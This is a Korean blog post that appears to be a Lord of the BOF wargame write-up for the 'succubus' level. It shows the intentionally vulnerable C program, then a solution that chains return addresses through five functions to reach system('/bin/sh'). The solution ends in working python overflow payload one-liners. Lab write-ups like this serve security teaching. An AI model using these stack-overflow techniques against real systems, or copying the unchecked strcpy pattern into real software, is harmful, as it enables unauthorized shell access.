본문 바로가기
Security/Pwnable

LOB Level 17 zombie_assassin

by J0DEV 2021. 8. 10.
반응형

zombie_assassin -> succubus 로 접속합니다.

 

 

(소스코드가 길어서 캡처 말고 복붙 했습니다.)

/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector

int check = 0;

void MO(char *cmd)
{
        if(check != 4)
        	exit(0);
        printf("welcome to the MO!\n");
        // olleh!
        system(cmd);
}

void YUT(void)
{
        if(check != 3)
        	exit(0);
        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
        	exit(0);
        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
 if(check != 1)
 	exit(0);
 printf("welcome to the GYE!\n");
 check = 2;
}



void DO(void)
{
 printf("welcome to the DO!\n");
 check = 1;
}


main(int argc, char *argv[])
{
 char buffer[40];
 char *addr;
 if(argc < 2){
 printf("argv error\n");
 exit(0);
}

 // you cannot use library
 if(strchr(argv[1], '\x40')){
 printf("You cannot use library\n");
 exit(0);

}



 // check address

 addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
		printf("You must fall in love with DO\n");
		exit(0);

}
        // overflow!
        strcpy(buffer, argv[1]);
 printf("%s\n", buffer);
        // stack destroyer
 // 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);

 memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));
 // LD_* eraser
 // 40 : extra space for memset function
 memset(buffer-3000, 0, 3000-40);

}

library X

stack destroyer


흠 코드상 보면

MO의 system을 호출시켜야 겠네요

그러기 위해서는 함수를 연속해서 호출해야하네요

DO GYE GUL YUT MO 순서대로 호출

우선 함수들의 주소를 확인합시다.

 

 

080487ec T DO

0804878c T GUL

080487bc T GYE

08048724 T MO

0804875c T YUT

 

이렇게 되는군요.

 

그럼 ret에다 함수의 주소를 넣어주면 되겠네요.

 

 

여기서!!

 

ret로 호출된 함수는 그 함수의 ret가 생성되지 않습니다.

 

ret로 호출된 함수는 그 함수의 ret가 생성되지 않기 때문에 바로 다음함수인 GYE의 주소를 덮어씁니다.

 

우선 각각 호출해보면

 

 

 

MO의 system()이 자동으로 실행되네요.

 

 

그럼 system의 인자만 넣어주면 됩니다.

 

그런데 여기서 라이브러리를 사용하지 못하네요

 

그렇다면 직접 bin/sh를 넣어주고 주소를 불러오면 되겠네요

 

 

페이로드는 이렇게 됩니다.

 

system함수 호출 4바이트 &binsh binsh

 

 

우선 코어 파일을 확인하기 위해

 

파일을 복사한 후,

 

 

./succubus1 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"B"*4+"/bin/sh”'`

 

 

 

 

/bin/sh 의 주소를 아무거나 넣어준 후, 코어파일을 뒤져서 /bin/sh 의 주소를 찾아줍시다.

 

 

 

 

 

 

바로 찾았습니다.

 

그럼 0xbffffa68로 bin/sh 주소를 입력하면 됩니다.

 

 

./succubus1 `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x68\xfa\xff\xbf"+"/bin/sh"'`

 

 

 

 

 

 

반응형

'Security > Pwnable' 카테고리의 다른 글

LOB Level 19 nightmare  (0) 2021.08.10
LOB Level 18 succubus  (0) 2021.08.10
LOB Level 16 assassin  (0) 2021.08.10
LOB Level 15 giant  (0) 2021.08.10
LOB Level 14 bugbear  (0) 2021.08.10